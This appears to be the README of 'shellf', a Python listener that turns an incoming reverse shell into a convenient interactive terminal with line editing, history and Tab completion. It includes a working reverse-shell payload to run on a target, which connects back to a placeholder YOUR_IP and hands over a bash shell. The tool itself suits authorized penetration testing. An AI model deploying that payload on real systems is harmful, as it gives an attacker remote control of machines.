Interactive reverse-shell client (listener side). You run it locally on a TCP port; a remote reverse shell connects back; shellf gives you a fast, comfortable terminal: local line editing (typing costs zero network round trips), live streaming output, prompt tracking, history, Tab completion and a raw passthrough mode for full-screen programs.
remote reverse shell ---TCP---> shellf (listener) ---terminal---> you
Python 3.10+, stdlib only. No dependencies to install.
shellf is built around a specific (and very common) remote-shell shape:
- the remote runs an interactive pty shell with echo disabled
(
stty -echo), so it never echoes what you type — shellf echoes locally; - the pty stays canonical (
icanon) with ISIG on, so it reads whole lines and^C/^Zsent as bytes trigger real signals; - prompts are printed as output and do not end with a newline.
A minimal remote payload that satisfies this (drop this on the target):
import socket, os, pty
s = socket.socket()
s.connect(("YOUR_IP", 1337)) # your listener
for fd in (0, 1, 2):
os.dup2(s.fileno(), fd)
pty.spawn(["/bin/sh", "-c",
"stty -echo; export PS1='\\u@\\h:\\w\\$ '; "
"exec /bin/bash --noediting --noprofile --norc -i"])On connect, shellf runs a one-shot compliance probe
(stty -a; command -v bash; echo @@PROBE_DONE@@) and reports what the remote
looks like:
[compat] echo:off icanon:on isig:on bash:/usr/bin/bash
Drifted remotes get individual warnings (echo on → output doubles, ISIG off → ^C won't interrupt, bash missing → Tab disabled). An unverifiable remote keeps the client functional except Tab.
python3 -m shellf [-l LISTEN_ADDR] [-p PORT] [--skip-compat]
Defaults: listen on 0.0.0.0:1337. --skip-compat skips the probe.
Or install it: pip install . then just run shellf.
| Key | Action |
|---|---|
| Type | Local echo — zero network round trips per keystroke |
| Backspace | Erase locally, redraw |
| Left/Right | Move cursor |
| Up/Down | Walk local command history |
| Home/End | Jump to line start/end |
| Delete | Delete forward |
| Enter | Send the line + \n, keep it visible, move to a fresh line |
^C |
Discard the partial line, send \x03 only (interrupts remotely) |
^Z |
Send \x1a (suspend) |
^D |
Send EOF only when the buffer is empty (hang up the shell) |
^L |
Clear the local screen and redraw |
| Tab | Compgen completion: files, commands, env vars, dirs |
^X |
Raw passthrough toggle (for vim/top/...), see below |
One synthesized bash -c '...compgen...' request per Tab (1 s cap). A single
candidate completes in place (directories get a trailing /); several extend
to their common prefix, and a second Tab on the unchanged token lists the
candidates under the line. Requires bash on the remote (checked by the
probe).
Toggles between the line editor and a plain raw pipe (sends stty echo /
stty -echo around it). Use it to run full-screen remote programs. To leave
it, quit the program back to a shell prompt and press Ctrl-X again — note
that while passthrough is on, Ctrl-X is captured locally.
The remote echoes nothing, so shellf mirrors the remote screen itself: it tracks the prompt tail (remote text since the last newline) and keeps the invariant current line = prompt tail + your partial input. Output arriving while you are typing clears the line, prints the output, and redraws your line below it. After Enter the typed command stays visible and the cursor moves to a fresh line, so output lands underneath instead of doubling the prompt.
shellf/__init__.py package API (import shellf has no side effects)
shellf/terminal.py raw-mode context manager
shellf/keys.py escape-sequence reader + control-key policy
shellf/editor.py LineEditor logic + render helpers
shellf/display.py prompt-tail tracking / output policy
shellf/probe.py compliance-probe parser
shellf/completion.py compgen request builder / parser / plan
shellf/session.py Session (the select loop)
shellf/cli.py CLI listener
tests/ unittest suite (stdlib unittest, loopback/socketpair only)
Run the tests:
python3 -m unittest discover -s tests -v
- General shell stabilizer: probe v2 (detect pty vs pipe remotes),
auto
stty -echo, automatic pty upgrade for non-pty shells, selectable modes.
- Line-wrap redraw is cosmetic/simple; wide (CJK) characters and coloured prompts are approximated for cursor-column maths.
- Completion is compgen-level — no per-command options, not context aware.
- After leaving raw passthrough, press Enter at the shell prompt to resync.
- Authorized use only: this tool is for systems you own or are permitted to test.